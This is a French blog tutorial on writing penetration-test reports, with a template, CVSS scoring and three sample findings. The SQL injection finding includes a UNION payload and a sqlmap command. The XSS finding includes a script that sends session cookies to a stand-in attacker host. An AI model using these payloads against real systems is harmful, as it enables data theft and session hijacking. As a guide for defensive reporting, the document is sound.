Rapport de pentesting : tutoriel pratique 2026

Lecture : 14 minutes · Niveau : intermédiaire · Mise à jour : avril 2026

⚠️ Disclaimer : Ce tutoriel concerne la rédaction de rapports issus de pentests autorisés uniquement. Tout livrable s’inscrit dans un cadre contractuel avec ROE et NDA signés.

Tutoriel pas-à-pas pour rédiger un rapport de pentesting professionnel et exploitable. À la fin de cet article, vous aurez : un template complet copiable, des exemples de findings rédigés sur des cas réels (SQLi, XSS, IDOR), une méthode de calcul CVSS 3.1 pas-à-pas, et un workflow de génération automatique depuis Markdown vers PDF.

Voir aussi → Pentesting éthique pour PME : guide complet, Pentesting d’applications web.

Sommaire

Structure complète d’un rapport
Template Markdown copiable
Executive Summary : exemple rédigé
Anatomie d’un finding bien rédigé
Calcul CVSS 3.1 pas-à-pas
3 findings types complets (SQLi, XSS, IDOR)
Recommandations actionnables
Annexes : preuves et logs
Du Markdown au PDF (Pandoc)
Checklist de relecture
FAQ

1. Structure complète d’un rapport

Un rapport de pentest professionnel suit une structure stable :

1. Page de garde
   - Titre, client, version, date, classification (Confidentiel)
2. Sommaire automatique
3. Executive Summary (1-2 pages, non technique)
4. Méthodologie & scope
   - Périmètre testé / hors-périmètre
   - Type de test (black/grey/white box)
   - Dates, équipe, ROE référencé
5. Synthèse des vulnérabilités
   - Tableau récap : ID, titre, sévérité CVSS, statut
6. Détails des findings (1 finding = 1 section)
   - Description, preuves, impact, recommandation
7. Recommandations stratégiques
8. Annexes
   - Logs bruts, scripts, captures complètes, références

Principe directeur : un rapport est lu par 3 publics différents — direction (Exec Summary), CISO/RSSI (synthèse + recommandations), équipe technique (détails findings). Chaque section doit être autonome.

2. Template Markdown copiable

Sauvegarder ce squelette comme rapport-pentest-TEMPLATE.md :

---
title: "Rapport de pentest – [Nom Client]"
client: "Nom Client SA"
version: "1.0"
date: "2026-04-25"
auteur: "Nom Pentester / Société"
classification: "CONFIDENTIEL — Diffusion restreinte"
---

# Rapport de pentest – [Nom Client]

## Executive Summary

Résumé non technique pour la direction, 1-2 pages max.
- Contexte
- Constats principaux (3-5 bullets)
- Niveau de risque global
- Top 3 actions recommandées

## 1. Méthodologie et scope

### 1.1 Périmètre
- Application : https://app.client.com
- IPs externes : 198.51.100.10/32
- Hors périmètre : sous-domaines staging, third-party SaaS

### 1.2 Type de test
Grey box, compte utilisateur standard fourni.

### 1.3 Dates et équipe
- Début : 2026-04-15
- Fin : 2026-04-22
- Pentester : [Nom], certification OSCP
- ROE : référence DOC-2026-04-001

### 1.4 Méthodologie
PTES + OWASP WSTG 4.2

## 2. Synthèse des vulnérabilités

| ID | Titre | Sévérité | CVSS | Statut |
|----|-------|----------|------|--------|
| F-001 | SQL injection sur /search | Critical | 9.8 | Open |
| F-002 | Stored XSS profil utilisateur | High | 7.4 | Open |
| F-003 | IDOR sur /api/invoices/{id} | High | 7.5 | Open |
| F-004 | Cookies sans flag HttpOnly | Medium | 5.4 | Open |
| F-005 | Versions logicielles obsolètes | Low | 3.1 | Open |

## 3. Détails des vulnérabilités

### F-001 — SQL injection sur /search
[voir section dédiée]

### F-002 — Stored XSS sur profil utilisateur
[...]

## 4. Recommandations stratégiques

- Mettre en place un WAF en amont des applications publiques
- Intégrer un SAST/DAST dans la CI/CD
- Former les développeurs (OWASP Top 10, secure coding)
- Pentest annuel + scan vulnérabilité mensuel

## Annexes
- A. Outils utilisés
- B. Logs bruts
- C. Scripts d'exploitation
- D. Références CVE / OWASP

Toutes les sections sont remplaçables. Le format Markdown permet la conversion automatique en PDF (voir section Pandoc).

3. Executive Summary : exemple rédigé

Style à privilégier : factuel, sans jargon, directement actionnable. Les dirigeants lisent cette page et rien d’autre dans 80% des cas.

Exemple :

Contexte
Du 15 au 22 avril 2026, un test d’intrusion en grey box a été conduit sur l’application e-commerce app.client.com et son infrastructure publique associée, dans le cadre du plan de sécurité 2026.

Niveau de risque global : Élevé

Cinq vulnérabilités ont été identifiées, dont une critique permettant la compromission complète de la base de données utilisateurs (1 vulnérabilité Critical, 2 High, 1 Medium, 1 Low). Une attaquante externe non authentifiée pourrait extraire la totalité des données clients (noms, emails, hashes de mots de passe) via une injection SQL sur la fonction de recherche.

Top 3 actions immédiates :
1. Sous 48h — Corriger l’injection SQL sur /search (F-001) via requêtes paramétrées
2. Sous 1 semaine — Activer le flag HttpOnly sur tous les cookies de session
3. Sous 2 semaines — Mettre en place un contrôle d’accès strict sur l’API factures (F-003)

Recommandations structurelles : mise en place d’un WAF, intégration de tests sécurité dans la CI/CD, formation OWASP des développeurs, pentest annuel récurrent.

Règles d’or :
– Pas plus de 2 pages
– Pas de termes techniques non expliqués
– Risque global qualifié (Critical / High / Medium / Low)
– Calendrier de remédiation suggéré
– Top 3 actions à préciser

4. Anatomie d’un finding bien rédigé

Chaque vulnérabilité suit une structure stable :

### F-XXX — Titre court et descriptif

**Sévérité :** [Critical / High / Medium / Low / Info]
**CVSS 3.1 :** 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
**CWE :** CWE-89 (SQL Injection)
**Composant :** /search?q=
**Statut :** Open

**Description**
[Que se passe-t-il, en termes techniques précis]

**Preuve d'exploitation (PoC)**
[Payload exact, commandes, screenshots]

**Impact**
[Conséquences business si exploité]

**Recommandation**
[Comment corriger, étapes concrètes]

**Références**
- OWASP Testing Guide WSTG-INPV-05
- CWE-89 https://cwe.mitre.org/data/definitions/89.html
- OWASP SQL Injection Prevention Cheat Sheet

Règles de rédaction :
– Description ≠ impact ≠ recommandation — trois sections distinctes, jamais mélangées
– Preuve reproductible — un dev doit pouvoir refaire le test
– Recommandation actionnable — pas « renforcer la sécurité » mais « utiliser PreparedStatement avec paramètres bind »
– Une vulnérabilité = un finding — ne pas grouper 3 SQLi différentes dans un seul finding

5. Calcul CVSS 3.1 pas-à-pas

CVSS (Common Vulnerability Scoring System) est le standard pour qualifier numériquement la sévérité.

Calculateur officiel : first.org/cvss/calculator/3-1

Métriques de base à choisir :

Métrique	Options	Question
Attack Vector (AV)	Network, Adjacent, Local, Physical	D’où l’attaque vient-elle ?
Attack Complexity (AC)	Low, High	Conditions complexes nécessaires ?
Privileges Required (PR)	None, Low, High	Niveau d’accès requis ?
User Interaction (UI)	None, Required	La victime doit-elle agir ?
Scope (S)	Unchanged, Changed	L’impact dépasse-t-il le composant ?
Confidentiality (C)	None, Low, High	Données exposées ?
Integrity (I)	None, Low, High	Données modifiables ?
Availability (A)	None, Low, High	Service perturbé ?

Exemple : SQL injection sur formulaire de recherche public

AV: Network (exploitable depuis Internet)
AC: Low (pas de conditions particulières)
PR: None (pas d’authentification requise)
UI: None (pas d’interaction utilisateur)
S: Unchanged (impact dans la base seule)
C: High (toute la DB lisible)
I: High (DB modifiable)
A: High (drop possible)

Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Score : 9.8 → Critical

Exemple : XSS Stored sur profil utilisateur authentifié

AV: Network, AC: Low, PR: Low (compte basique), UI: Required (visite du profil), S: Changed (cookie victime exfiltré → autre composant), C: High, I: Low, A: None
Score : 7.4 → High

Astuce : ne pas inventer le score. Utiliser le calculateur, copier le vecteur. C’est auditable.

6. 3 findings types complets

F-001 — SQL Injection sur la fonction de recherche

Sévérité : Critical
CVSS 3.1 : 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE : CWE-89
Composant : GET /search?q=
Statut : Open

Description

Le paramètre q de l’endpoint /search est concaténé directement dans une requête SQL sans échappement ni paramétrage. Une attaquante externe non authentifiée peut injecter du SQL arbitraire et extraire la totalité de la base de données.

Preuve d’exploitation

Requête vulnérable :

GET /search?q=test'+UNION+SELECT+username,password+FROM+users-- HTTP/1.1
Host: app.client.com

Réponse (extrait) :

{"results": [
  {"name": "admin", "desc": "$2b$10$abc..."},
  {"name": "alice", "desc": "$2b$10$xyz..."}
]}

Avec sqlmap :

sqlmap -u "https://app.client.com/search?q=test" --batch --dbs
# 12 databases enumerated

Impact

Exfiltration complète de la table users (hashes bcrypt incluant les comptes administrateurs)
Possibilité de modification ou suppression de données
Pivotement vers le système hôte si la DB exécute du code (procédures stockées)

Recommandation

Remplacer toutes les concaténations SQL par des requêtes paramétrées (PreparedStatement / bind parameters). Exemple Node.js :

// Vulnérable
db.query(`SELECT * FROM articles WHERE title LIKE '%${q}%'`)

// Sécurisé
db.query('SELECT * FROM articles WHERE title LIKE ?', [`%${q}%`])

Mettre en place un WAF (ModSecurity OWASP CRS) en défense en profondeur
Audit complet du code source pour identifier toute autre injection
Forcer le changement de mots de passe pour les comptes administrateurs (compromission supposée)

Références
– OWASP SQL Injection Prevention Cheat Sheet
– CWE-89

F-002 — Stored XSS dans champ « bio » du profil utilisateur

Sévérité : High
CVSS 3.1 : 7.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N)
CWE : CWE-79

Description

Le champ bio du formulaire d’édition de profil n’est pas filtré. Le contenu est stocké tel quel et restitué dans le HTML de la page profil, permettant l’exécution de JavaScript arbitraire dans le navigateur de tout visiteur.

Preuve

Connecté en tant qu’utilisateur basique, soumettre dans bio :

<script>fetch('https://collab.attacker.com/?c='+document.cookie)</script>

Visiter la page publique du profil — le script s’exécute, le cookie de session de la victime est envoyé au domaine attaquant.

Impact
– Vol de sessions actives de tout visiteur (incluant administrateurs si visite la page profil)
– Phishing interne (formulaire injecté dans la page)
– Manipulation de l’interface

Recommandation
– Échappement HTML systématique en sortie (escapeHtml(), ou frameworks templating qui le font par défaut)
– Implémenter une Content Security Policy stricte : Content-Security-Policy: default-src 'self'; script-src 'self'
– Activer HttpOnly sur les cookies de session (mitigation partielle)

F-003 — IDOR sur API /api/invoices/{id}

Sévérité : High
CVSS 3.1 : 7.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
CWE : CWE-639

Description

L’endpoint /api/invoices/{id} retourne la facture demandée sans vérifier que celle-ci appartient à l’utilisateur authentifié. Tout utilisateur connecté peut accéder aux factures de tous les clients en énumérant les IDs séquentiels.

Preuve

GET /api/invoices/1042 HTTP/1.1
Cookie: session=abc...   (compte user1)
→ 200 OK, facture user2 affichée

Énumération via Burp Intruder, IDs 1 à 5000 → 4823 factures différentes accessibles.

Impact
– Fuite massive de données financières clients (montants, références produits, adresses)
– Violation potentielle de la loi 2008-12 sur les données personnelles (Sénégal)
– Risque réputationnel et juridique

Recommandation
– Ajouter une vérification d’ownership systématique :

if (invoice.userId !== req.user.id && !req.user.isAdmin) {
  return res.status(403).json({ error: 'Forbidden' });
}

Préférer des identifiants non séquentiels (UUID v4) pour limiter l’énumération
Audit complet de tous les endpoints retournant un objet par ID

7. Recommandations actionnables

Règles d’or pour une recommandation utile :

Précise : indiquer la fonction, le fichier, ou la classe à modifier
Justifiée : expliquer pourquoi cette correction résout le problème
Référencée : pointer vers OWASP, RFC, doc framework officielle
Priorisée : indiquer l’effort estimé (Low / Medium / High) et le délai recommandé

Exemple complet :

Finding	Recommandation	Effort	Délai
F-001 SQLi	Migrer vers PreparedStatement (5 endpoints)	Medium	48h
F-002 XSS	Activer escapeHtml() globalement + CSP	Low	1 semaine
F-003 IDOR	Middleware d’autorisation par ressource	Medium	2 semaines
F-004 Cookies	Ajouter flags Secure/HttpOnly/SameSite	Low	1 jour
F-005 versions	Plan de mise à jour trimestriel	High	1 mois

8. Annexes : preuves et logs

À inclure systématiquement :
– Outils utilisés et versions (Nmap 7.94, Burp Pro 2024.x, sqlmap 1.7.x)
– Commandes exactes lancées (script bash entièrement copié)
– Captures d’écran horodatées des exploitations critiques
– Logs HTTP complets (requête + réponse) pour chaque finding
– Hashes MD5/SHA256 des fichiers téléversés (preuves d’intégrité)

À NE PAS inclure :
– Données réelles extraites (anonymiser ou résumer : « 1 000 lignes extraites » plutôt que la liste)
– Mots de passe en clair ou hashes complets (risque légal et éthique)
– Informations sur d’autres clients du pentester

9. Du Markdown au PDF (Pandoc)

Installer Pandoc et LaTeX :

# Linux/Kali
sudo apt install pandoc texlive-xetex texlive-fonts-extra -y

# macOS
brew install pandoc
brew install --cask mactex

Conversion avec template propre :

pandoc rapport-pentest.md \
  --from markdown \
  --to pdf \
  --pdf-engine=xelatex \
  --variable mainfont="Helvetica" \
  --variable monofont="Menlo" \
  --variable fontsize=11pt \
  --variable geometry:margin=2cm \
  --toc --toc-depth=2 \
  --number-sections \
  -o rapport-pentest-v1.pdf

Template Eisvogel (rendu professionnel pré-stylé) :

# Télécharger le template
mkdir -p ~/.pandoc/templates
wget -O ~/.pandoc/templates/eisvogel.latex \
  https://raw.githubusercontent.com/Wandmalfarbe/pandoc-latex-template/master/eisvogel.tex

# Utiliser
pandoc rapport-pentest.md \
  --template eisvogel \
  --listings \
  --toc \
  -o rapport-pentest-v1.pdf

Watermark « CONFIDENTIEL » : ajouter dans le frontmatter YAML

header-includes:
  - \usepackage{draftwatermark}
  - \SetWatermarkText{CONFIDENTIEL}
  - \SetWatermarkScale{4}

10. Checklist de relecture

Avant d’envoyer le rapport au client :

[ ] Page de garde : nom client correct, version, date, classification
[ ] Executive Summary : lisible par un non-technique, 2 pages max
[ ] Tous les findings ont : sévérité, CVSS vector, CWE, composant
[ ] Chaque PoC est reproductible (commandes/payloads complets)
[ ] Chaque recommandation est actionnable (pas de "renforcer")
[ ] Tableau récapitulatif cohérent avec sections détaillées
[ ] Aucune donnée client réelle non anonymisée dans le rapport
[ ] Aucune référence à un autre client du pentester
[ ] CVSS scores vérifiés via le calculateur officiel
[ ] Liens externes (OWASP, CWE) testés
[ ] Orthographe et grammaire (correcteur automatique + relecture humaine)
[ ] PDF généré avec table des matières fonctionnelle
[ ] Watermark CONFIDENTIEL si applicable
[ ] Hash SHA256 du PDF communiqué séparément (intégrité)
[ ] Envoi via canal sécurisé (chiffrement GPG ou portail client)

FAQ

Combien de pages doit faire un rapport de pentest ?

Très variable selon le scope. Indicatif : 30-50 pages pour un pentest web moyen avec 10-15 findings. Executive Summary toujours 1-2 pages max. Privilégier la qualité à la quantité — un rapport de 80 pages pleins de bullshit est moins utile qu’un rapport de 25 pages précis et actionnable.

Faut-il livrer le rapport en français ou en anglais ?

Selon le client. Pour une PME francophone : français obligatoire (Executive Summary surtout). Pour un client international : anglais. Pour un mix (RSSI parle anglais, direction française) : version bilingue ou rapport en français + Exec Summary en anglais.

Comment gérer les findings « False Positive » découverts ?

Indispensable de les signaler dans le rapport (section dédiée ou note dans le finding). Un FP non documenté revient en boucle au prochain pentest. Format : « Lors des scans automatisés, l’outil X a remonté Y, vérification manuelle a confirmé qu’il s’agit d’un faux positif car… »

Quel délai entre fin du pentest et livraison du rapport ?

Standard : 5-10 jours ouvrés. Pour une vulnérabilité critique découverte : pré-rapport oral ou email immédiat dans les 24h, rapport écrit complet dans les délais standard. Toujours définir le délai dans le contrat amont.

Le client doit-il signer le rapport ?

Non, pas le rapport en lui-même. Mais le PV de fin de mission est utile : document court signé par le client confirmant la réception du rapport et la fin de l’autorisation de tests. Important pour clore légalement la mission.

Faut-il chiffrer le rapport avant envoi ?

Oui, systématiquement. Options : GPG (PGP), 7-Zip avec mot de passe AES-256 transmis hors-bande (téléphone ou Signal), portail client sécurisé. Ne jamais envoyer en clair par email — un rapport contenant des findings exploitables est une cible de choix pour les attaquants.

Comment justifier le tarif d’un rapport face à un client qui trouve ça cher ?

Le rapport représente 20-30% du temps total d’une mission de pentest. La valeur ne réside pas dans le test mais dans la documentation actionnable. Un client peut faire un scan automatique gratuit ; il achète un pentester pour la qualification, l’analyse, et le rapport — pas pour lancer Nessus.

Comment valoriser un re-test après remédiation dans le rapport ?

Réémettre une version du rapport (v2.0) avec : tableau récap mis à jour (statuts Open → Closed pour les findings corrigés), section dédiée « Re-test » listant les vérifications effectuées, et conclusion sur le niveau de risque résiduel. Le client peut ainsi présenter le rapport aux auditeurs comme preuve de la remédiation.

Articles liés (cluster Pentesting)

Voir aussi : Cybersécurité pour PME africaines pour le cadre stratégique amont, DevOps moderne CI/CD IaC pour intégrer SAST/DAST en automatique.

Article mis à jour le 25 avril 2026. Pour signaler une erreur ou suggérer une amélioration, écrivez-nous.

Sommaire

1. Structure complète d’un rapport

2. Template Markdown copiable

3. Executive Summary : exemple rédigé

4. Anatomie d’un finding bien rédigé

5. Calcul CVSS 3.1 pas-à-pas

6. 3 findings types complets

F-001 — SQL Injection sur la fonction de recherche

F-002 — Stored XSS dans champ « bio » du profil utilisateur

F-003 — IDOR sur API /api/invoices/{id}

7. Recommandations actionnables

8. Annexes : preuves et logs

9. Du Markdown au PDF (Pandoc)

10. Checklist de relecture

FAQ

Combien de pages doit faire un rapport de pentest ?

Faut-il livrer le rapport en français ou en anglais ?

Comment gérer les findings « False Positive » découverts ?

Quel délai entre fin du pentest et livraison du rapport ?

Le client doit-il signer le rapport ?

Faut-il chiffrer le rapport avant envoi ?

Comment justifier le tarif d’un rapport face à un client qui trouve ça cher ?

Comment valoriser un re-test après remédiation dans le rapport ?

Articles liés (cluster Pentesting)

Confiez-nous la Création de Votre Site Web

Articles Similaires

Configurer bouncers CrowdSec Caddy et Nginx : tutoriel 2026

Déployer agents Wazuh sur multi-VPS Linux/Windows : tutoriel 2026

Déployer Authentik sur Coolify avec HTTPS : tutoriel complet 2026